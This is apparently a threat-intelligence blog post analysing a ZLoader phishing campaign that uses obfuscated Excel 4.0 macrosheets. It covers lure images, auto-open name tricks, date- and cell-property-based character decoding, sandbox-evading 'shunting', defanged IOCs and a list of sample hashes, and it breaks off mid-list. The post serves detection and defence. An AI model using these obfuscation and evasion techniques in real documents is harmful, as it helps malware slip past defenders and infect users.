&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/075356a385451f7a14d7322cd334f2b7.jpg&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/075356a385451f7a14d7322cd334f2b7.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 1. Coercion Lure.

&lt;p&gt;Notice the feint green-on-green coloring and low image fidelity. Undoubtedly designed to bypass attempts at Optical Character Recognition (OCR). The choice of JPG over PNG for this image would make a graphic designer cringe, but the lossy format plays to the attackers favor. It's prudent for us to note that InQuest OCR is more than capable of discerning accurate text and producing an alert on the image alone. We can &lt;a href=&quot;https://labs.inquest.net/dfi/search/alert/Macro%20Execution%20Coercion&quot; target=&quot;_top&quot;&gt;search InQuest Labs&lt;/a&gt; for samples that trigger our coercion heuristics. From a sampling of lures associated with this campaign, here is the breakdown of embedded image hashes:  &lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
                             Key|Ct (Pct)    Histogram
6b435bbf9b254681dafd6abf783632ac|10 (13.16%) -----------------------------------
667de8e48255ae7183077b889a271c1e| 8 (10.53%) ----------------------------
d98d763d6ca4f1c736b3fbc163669224| 7  (9.21%) ------------------------
d59b82fd9504ba9b130c0d048b492a10| 6  (7.89%) ---------------------
cdb3950c2a0e342c793ccdc1eb566803| 5  (6.58%) ------------------
98e8cd0a87fb4f3549a15c1e52043df4| 5  (6.58%) ------------------
879ee929dd80ff750e442e3e0befda6b| 4  (5.26%) --------------
63282400dbdeb0dc7382bd86d768cfd7| 4  (5.26%) --------------
4a20b2d5bb46837bae61d73291712319| 4  (5.26%) --------------
444520d98f7fe4b6dd0da106ab87a1fb| 4  (5.26%) --------------
075356a385451f7a14d7322cd334f2b7| 4  (5.26%) --------------
fa9dbfda5aebfd3d4a8b4c198e38e4bb| 3  (3.95%) -----------
dd607e4daa5b52d1cc0353bf484296e4| 3  (3.95%) -----------
2764db07e1a670674a65b9f7c3417487| 3  (3.95%) -----------
01ef5c035ec3aa501b9ab085e862a34f| 3  (3.95%) -----------
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;
Intelligently, the attackers have decided to modify the image dimensions slightly to reduce detection exposure on the media asset. This is a less commonly seen tactic, let's explore the most common images by dimension (instead of cryptographic hash):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    Key|Ct (Pct)    Histogram
574x345|29 (38.16%) ------------------------------------------------------------
579x345|20 (26.32%) -----------------------------------------
568x345|13 (17.11%) ---------------------------
563x345| 8 (10.53%) -----------------
585x345| 4  (5.26%) ---------
607x361| 1  (1.32%) ---
385x393| 1  (1.32%) ---
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We can see more overlap with this &quot;fuzzier&quot; approach. This extra step taken by the operators to evade detection shows an increased level of sophistication, especially when you consider that many attackers leave valuable &lt;a href=&quot;/blog/2019-09-30/&quot;&gt;XMP identifiers in their graphical assets&lt;/a&gt; that can be used as a fast/ accurate detection anchor, as well as a pivot point for mapping relationships between samples. Browsing the graphics embedded in the variety of captured samples, they're all the same with the exception of that last one (385x393), which belongs to sample &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a&quot; target=&quot;_top&quot;&gt;e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a&lt;/a&gt; and carries the following image:&lt;/p&gt;

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/04b5d11b3bcacc159432014c903b5437.jpg&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/04b5d11b3bcacc159432014c903b5437.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig 2. Roflanbuldiga.

&lt;p&gt;Apparently a &quot;&lt;a href=&quot;https://www.google.com/search?q=roflanbuldiga&quot; target=&quot;_top&quot;&gt;roflanbuldiga&lt;/a&gt;&quot;? &lt;a href=&quot;https://twitter.com/roflanb&quot; target=&quot;_top&quot;&gt;@RoflanB&lt;/a&gt;. No conclusions can or have been drawn from this graphical asset, it's just interesting to note. In the next section we'll take a glance at some of the novel obfuscation tactics employed by this campaign to deter detection.&lt;/p&gt;

&lt;h2&gt;Obfuscated Macrosheet&lt;/h2&gt;

&lt;p&gt;
Download either the extracted macrosheet with XML tags stripped, or, a trivially reformatted version that we've prepared to ease readability:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;XML stripped macrosheet: &lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/2020-05-ZLoader-Evolution/8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf.macrosheet&quot; target=&quot;_top&quot;&gt;8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Formatted macrosheet: &lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/2020-05-ZLoader-Evolution/8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf.formatted&quot; target=&quot;_top&quot;&gt;8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf.formatted&lt;/a&gt;
There are several interesting obfuscation techniques that are used to evade detection and also complicate automated / manual deobfuscation processes.

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/veryHidden.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/veryHidden.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 3. &quot;veryHidden&quot;.

&lt;br&gt;The macrosheet is flagged as &lt;code&gt;veryHidden&lt;/code&gt; (recall from our previous blog that the BIFF file format supports binary level flags for hidden and very-hidden) and contains a defined name that will execute automatically on open &lt;code&gt;_xlnm.Auto_openhFX8u&lt;/code&gt;, this is different than the familiar &lt;code&gt;auto_open&lt;/code&gt; and related derivatives. Defenders should note that these names are NOT case-sensitive and that regardless of what suffix is appended to the defined name, Microsoft Excel will autostart the embedded logic. Digging further, note the following:

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/FormulaFill.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/FormulaFill.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 4. FORMULA.FILL().

&lt;br&gt;It relies on &lt;code&gt;FORMULA.FILL()&lt;/code&gt; to generate code. After each &lt;code&gt;FORMULA.FILL()&lt;/code&gt; we have a &quot;jump&quot; through usage of the &lt;code&gt;RUN&lt;/code&gt; function. While still under active development and not currently supporting all the features of this sample, usage of &lt;a href=&quot;https://github.com/InQuest/XLMMacroDeobfuscator&quot; target=&quot;_top&quot;&gt;XLMMacroDeobfuscator&lt;/a&gt; can assist us in dissecting further:

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/LoadingCells.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/LoadingCells.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 5. Loading Cells.

&lt;br&gt;The code first fills several cells with a few numbers derived from the current date (&lt;code&gt;NOW()&lt;/code&gt;) and the properties of several cells such as their height or their font color  (&lt;code&gt;GET.CELL()&lt;/code&gt;). For example, &lt;code&gt;GET.CELL(17, EC9093)&lt;/code&gt; returns the height of the row which cell EC9093 resides on (i.e., row 9093). To learn more about &lt;code&gt;GET.CELL()&lt;/code&gt; take a look at this &lt;a href=&quot;https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf&quot; target=&quot;_top&quot;&gt;Excel 4.0 Functions Reference&lt;/a&gt;.&lt;br&gt;The first cell that contains the obfuscated formula is &lt;em&gt;AK47754&lt;/em&gt;:

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/AK47754.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/AK47754.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 6. Cell AK47754.

&lt;br&gt;To deobfuscate each character of the formula, the macrosheet logic performs calculations based on two cell values, the value of one cell is already there, the value of the other one calculated based on the current date or some properties of the other cells. In previous samples, they relied only on one calculated value (current date or properties of some cells) to decode all the characters in one formula. As a result, if we could guess what would be one of the deobfuscated characters in the formula, we could find out the calculated value. In fact, we know that the formula always starts with an equal sign (=). As a result, it was trivial to compute the calculated value without knowing the target date or retrieving the properties of other cells. For reference, see the following &lt;a href=&quot;https://twitter.com/DissectMalware/status/1252673693911834626&quot; target=&quot;_top&quot;&gt;Tweet from Amir (@DissectMalware)&lt;/a&gt;.
Unfortunately, this oversight has been since addressed by the campaign operators. To deobfuscate a formula, we must now calculate several values. Another change is that all the deobfuscated formulas are scattered over the  macrosheet makes it harder to analyze the whole code. In the following YouTube video, we describe in details how one can manually deobfuscate macros in these samples:

&lt;p&gt;&lt;video controls preload=&quot;metadata&quot; src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/LA6u90xIp4E.mp4&quot;&gt;&lt;/video&gt;&lt;/p&gt;

&lt;h3&gt;YARA Hunt Rule, Samples, Shunting&lt;/h3&gt;&lt;br&gt;InQuest customers can find protection for this and related samples through both our signature-less machine-learning model-based detection engine, as well as a number of our bundled heuristic signatures including event IDs: 1000037, 1000047, 3000562, and 4000173. These signatures rely heavily on the pre-processing and normalizing from our &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2018/02/12/deep-file-inspection&quot; target=&quot;_top&quot;&gt;Deep File Inspection&lt;/a&gt; (DFI) engine. Additionally, we're open-sourcing a suitable YARA hunting rule for Virus Total Intelligence. A simple rule that looks for standard named macrosheets (note, these names can be altered) within the compressed XLS* format can be found in our public yara-rules Github repository &lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_XLSX_with_Macrosheet.rule&quot; target=&quot;_top&quot;&gt;Github/InQuest/yara-rules&lt;/a&gt;.
While the complete collection of malware samples can be found on InQuest Labs. We have additionally made a collection of 20 samples and their extracted macrosheets available for download in our public malware-samples Github repository our Github repository &lt;a href=&quot;https://github.com/InQuest/malware-samples/tree/master/2020-05-ZLoader-Evolution&quot; target=&quot;_top&quot;&gt;Github/InQuest/malware-samples&lt;/a&gt;.
Shout out to &lt;a href=&quot;https://twitter.com/seraphimdomain&quot; target=&quot;_top&quot;&gt;@seraphimdomain&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/James_inthe_box&quot; target=&quot;_top&quot;&gt;@James_inthe_box&lt;/a&gt; for initially collaborating with us!
As mentioned, this threat evaded detection by most static and dynamic analysis tools we tested. One of our sandbox partners, &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/press-releases/inquest-partners-with-joe-security-to-exclusively-deliver-joe-sandbox-to-the-us-public-sector&quot; target=&quot;_top&quot;&gt;Joe Security&lt;/a&gt; was able to detect the obfuscated macrosheet. Additionally, note that in the  behavior graph excerpt from Joe below, the network connectivity is benign. The malware sample is able to &quot;shunt&quot; between the operator's real infrastructure and benign infrastructure based on the validity of the target. Again, a sign of sophistication. The full behavior report is available &lt;a href=&quot;https://jbxcloud.joesecurity.org/analysis/1127745/1/html&quot; target=&quot;_top&quot;&gt;here&lt;/a&gt;.

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/behavior.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/behavior.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 7. Joe Sandbox Behavior.

&lt;br&gt;Let's dive deeper into this concept of network shunting, a tactic known to be in use by the Zloader operators. If the underlying system does not meet the infection requirements as defined by the operators, then the malware logic suddenly changes paths, and &quot;shunts&quot; to an alternative payload. Here is an example of the operating system of the analysis machine not meeting the proper criteria and being &quot;shunted&quot; to a benign Microsoft Azure Cloud IP and domain.
&lt;pre&gt;&lt;code&gt;
skypedataprdcoluks04.cloudapp[.]net
52.114.158[.]91 AS8075 | US | MICROSOFT-CORP-MSN-A
&lt;/code&gt;&lt;/pre&gt;
An example where the criteria requirements are satisfied and the resulting network traffic connects to actual infrastructure, can be found in this behavioral analysis report from &lt;a href=&quot;https://app.any.run/tasks/e95e5d05-8b7e-4d35-8707-c17b5cdaa241/&quot; target=&quot;_top&quot;&gt;any.run&lt;/a&gt;.

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/GET.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/GET.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 9. GET Request.

Unfortunately, the payload was offline by the time we attempted to acquire it:
&lt;ul&gt;&lt;li&gt;hacked wordpress account: shetkarimarket[.]com&lt;/li&gt;
&lt;li&gt;shared hosting IP: 160.153.133[.]148 AS21501 | DE | GODADDY-AMS&lt;/li&gt;
&lt;/ul&gt;&lt;br&gt;&lt;h2&gt;Relationship Graphing&lt;/h2&gt;
A core facet of the InQuest platform is drawing relationships between related campaigns through a variety of identified &quot;pivot anchor&quot; such as embedded IOCs. You can get an idea for some of these capabilities through the DFI section on InQuest Labs, which allows for searching for and clustering samples based on a variety of shared anchors. Researchers with access to Virus Total Intelligence can leverage the graph interface to build visual clusters of these representations. This is a work in progress that we'll add additional information to in the future, but to give a high-level glance at the process, we depict an overview here:

&lt;a href=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/vtigraph.png&quot;&gt;&lt;img src=&quot;/legacy/2020-05-06-zloader-4-0-macrosheets-evolution/vtigraph.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

  Fig 8. Virus Total Intelligence Graph.

&lt;br&gt;&lt;h2&gt;Additional Observations and IOCs&lt;/h2&gt;
As another quite aside, we can automate the extraction of relevant IOCs from InQuest Labs via our open API. In the following example we're mixing direct access via 'curl' as well as showing off &lt;a href=&quot;https://github.com/InQuest/python-inquestlabs&quot; target=&quot;_top&quot;&gt;python-inquestlabs&lt;/a&gt; a command-line interface and importable library that provides a Pythonic interface over the API:
&lt;pre&gt;&lt;code&gt;
$ for hash in &lt;code&gt;curl -s &quot;https://labs.inquest.net/api/dfi/search/alert?title=Macrosheet%20CHAR%20Obfuscation&quot; | jq -r '.data[].sha256' | sort&lt;/code&gt;
do
  echo $hash;
  for ioc in &lt;code&gt;curl -s &quot;https://labs.inquest.net/api/dfi/details/attributes?sha256=$hash&quot; | jq -r '.data[] | select(.attribute==&quot;url&quot;) | .value'&lt;/code&gt;
  do&lt;pre&gt;&lt;code&gt;  echo &quot;    $ioc&quot;;
&lt;/code&gt;&lt;/pre&gt;  done
done
&lt;/code&gt;&lt;/pre&gt;
For an continuously updating list of matching samples, search InQuest Labs for the &lt;a href=&quot;https://labs.inquest.net/dfi/search/alert/Macrosheet%20CHAR%20Obfuscation&quot; target=&quot;_top&quot;&gt;CHAR() Obfuscation&lt;/a&gt;, as of the time of this writing, the following list of hashes is nearly complete:&lt;/li&gt;&lt;li&gt;&lt;code&gt;01b9b8580230a33a84fa39cf8238fef4d428cd9cf83f9acfb449626ee5b8ea8c&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/01b9b8580230a33a84fa39cf8238fef4d428cd9cf83f9acfb449626ee5b8ea8c&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/01b9b8580230a33a84fa39cf8238fef4d428cd9cf83f9acfb449626ee5b8ea8c/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;01eb92643ad7c0d6f962cef1058c0b7bf2cea2ffb26f1addb528aa51d0d801be&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/01eb92643ad7c0d6f962cef1058c0b7bf2cea2ffb26f1addb528aa51d0d801be&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/01eb92643ad7c0d6f962cef1058c0b7bf2cea2ffb26f1addb528aa51d0d801be/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;034727d9d7d2405e5c8dc7e7389fbbdee22e9a30da244eb5d5bf91e4a1ba8ea7&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/034727d9d7d2405e5c8dc7e7389fbbdee22e9a30da244eb5d5bf91e4a1ba8ea7&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/034727d9d7d2405e5c8dc7e7389fbbdee22e9a30da244eb5d5bf91e4a1ba8ea7/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;0de8f64c4547649d613fec45cb7a3c6b878753045c448ac5aa4a09879ed14c9c&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/0de8f64c4547649d613fec45cb7a3c6b878753045c448ac5aa4a09879ed14c9c&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/0de8f64c4547649d613fec45cb7a3c6b878753045c448ac5aa4a09879ed14c9c/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;0f27a954be7a868f71e0635e1f31c294a3dbd48839372c05b99de981789f162d&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/0f27a954be7a868f71e0635e1f31c294a3dbd48839372c05b99de981789f162d&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/0f27a954be7a868f71e0635e1f31c294a3dbd48839372c05b99de981789f162d/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;0f75b7f01e21ea4fa028c2098f5e98ef2cb5b65aea0799a38323ea762c84ea21&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/0f75b7f01e21ea4fa028c2098f5e98ef2cb5b65aea0799a38323ea762c84ea21&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/0f75b7f01e21ea4fa028c2098f5e98ef2cb5b65aea0799a38323ea762c84ea21/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;10f79daf80a8c4c608fb6cfa7e1d7764dbf569a9a15832174225dda3c981062a&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/10f79daf80a8c4c608fb6cfa7e1d7764dbf569a9a15832174225dda3c981062a&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/10f79daf80a8c4c608fb6cfa7e1d7764dbf569a9a15832174225dda3c981062a/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;16fc7fc8328ebb1e695917017bfda60408e2c6d0b6de5d56f4e14b0dca05cb06&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/16fc7fc8328ebb1e695917017bfda60408e2c6d0b6de5d56f4e14b0dca05cb06&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/16fc7fc8328ebb1e695917017bfda60408e2c6d0b6de5d56f4e14b0dca05cb06/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;18305d1efe2efa29dfcdffbfbb8a9f7900ae09f4a3c833aa1a756dea150a1733&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/18305d1efe2efa29dfcdffbfbb8a9f7900ae09f4a3c833aa1a756dea150a1733&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/18305d1efe2efa29dfcdffbfbb8a9f7900ae09f4a3c833aa1a756dea150a1733/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;23378ceac2d30515419a0a4e51c009eba6f910173e09e1292820277804e6b26b&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/23378ceac2d30515419a0a4e51c009eba6f910173e09e1292820277804e6b26b&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/23378ceac2d30515419a0a4e51c009eba6f910173e09e1292820277804e6b26b/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;2418faaee50d2f14c9d2140d2d5e08933b3ce772cc624540f60baaa6757c8ae6&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/2418faaee50d2f14c9d2140d2d5e08933b3ce772cc624540f60baaa6757c8ae6&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/2418faaee50d2f14c9d2140d2d5e08933b3ce772cc624540f60baaa6757c8ae6/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;284c7be60b77434f91fce2572e45adddca0cdfb25cce4cf63bc4f7e1c17e1025&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/284c7be60b77434f91fce2572e45adddca0cdfb25cce4cf63bc4f7e1c17e1025&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/284c7be60b77434f91fce2572e45adddca0cdfb25cce4cf63bc4f7e1c17e1025/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;2abbf872f2f44cb8b8fb2bbd7bb0fdc4f6be4eec8098ce97dd931e5953082010&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/2abbf872f2f44cb8b8fb2bbd7bb0fdc4f6be4eec8098ce97dd931e5953082010&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/2abbf872f2f44cb8b8fb2bbd7bb0fdc4f6be4eec8098ce97dd931e5953082010/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;3611917480763942f7b8a2e7b407b081059a305bd6fa2a2c0f017a5f8520dbac&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/3611917480763942f7b8a2e7b407b081059a305bd6fa2a2c0f017a5f8520dbac&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/3611917480763942f7b8a2e7b407b081059a305bd6fa2a2c0f017a5f8520dbac/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;3c4d881f9b9ca8a4a2387f79640d914b0c14792030fb9c762bf65b9e3503f3b8&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/3c4d881f9b9ca8a4a2387f79640d914b0c14792030fb9c762bf65b9e3503f3b8&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/3c4d881f9b9ca8a4a2387f79640d914b0c14792030fb9c762bf65b9e3503f3b8/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;3f73d0063b3eb141f7847c2f5477aff0c95a8f70998b9baa55059bdf74f70525&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/3f73d0063b3eb141f7847c2f5477aff0c95a8f70998b9baa55059bdf74f70525&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/3f73d0063b3eb141f7847c2f5477aff0c95a8f70998b9baa55059bdf74f70525/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;44457b45620327b7bddd7e441a8a369de22dd568457193de0e3317bdda09b4fd&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/44457b45620327b7bddd7e441a8a369de22dd568457193de0e3317bdda09b4fd&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/44457b45620327b7bddd7e441a8a369de22dd568457193de0e3317bdda09b4fd/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;44558f2bf67d9fb936abd4d28df3efedfa9a863db88158ec3a8d31463c4033e1&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/44558f2bf67d9fb936abd4d28df3efedfa9a863db88158ec3a8d31463c4033e1&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/44558f2bf67d9fb936abd4d28df3efedfa9a863db88158ec3a8d31463c4033e1/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;4538af0fe8dd2c8477f4f0f62a1b468de0af46a681a79ffbc2b99d839c13b826&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/4538af0fe8dd2c8477f4f0f62a1b468de0af46a681a79ffbc2b99d839c13b826&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/4538af0fe8dd2c8477f4f0f62a1b468de0af46a681a79ffbc2b99d839c13b826/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;467c668373171fa4900025633e43ddb6e2aea0a2b44573f0648323374404b4ab&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/467c668373171fa4900025633e43ddb6e2aea0a2b44573f0648323374404b4ab&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/467c668373171fa4900025633e43ddb6e2aea0a2b44573f0648323374404b4ab/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;477bf4d158decc2388692fce07c01c73ab94b1002938b50e9df20422230e48da&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/477bf4d158decc2388692fce07c01c73ab94b1002938b50e9df20422230e48da&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/477bf4d158decc2388692fce07c01c73ab94b1002938b50e9df20422230e48da/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;4977447b055636772f26ab45416a2580c40bd49963e49687327958fd1700af84&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/4977447b055636772f26ab45416a2580c40bd49963e49687327958fd1700af84&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/4977447b055636772f26ab45416a2580c40bd49963e49687327958fd1700af84/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;4c01b534c5a654e7d1441c34bbc842d6616164f6d547f1c5e8d72040bd934d90&lt;/code&gt; &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/4c01b534c5a654e7d1441c34bbc842d6616164f6d547f1c5e8d72040bd934d90&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, &lt;a href=&quot;https://virustotal.com/gui/file/4c01b534c5a654e7d1441c34bbc842d6616164f6d547f1c5e8d72040bd934d90/detection&quot; 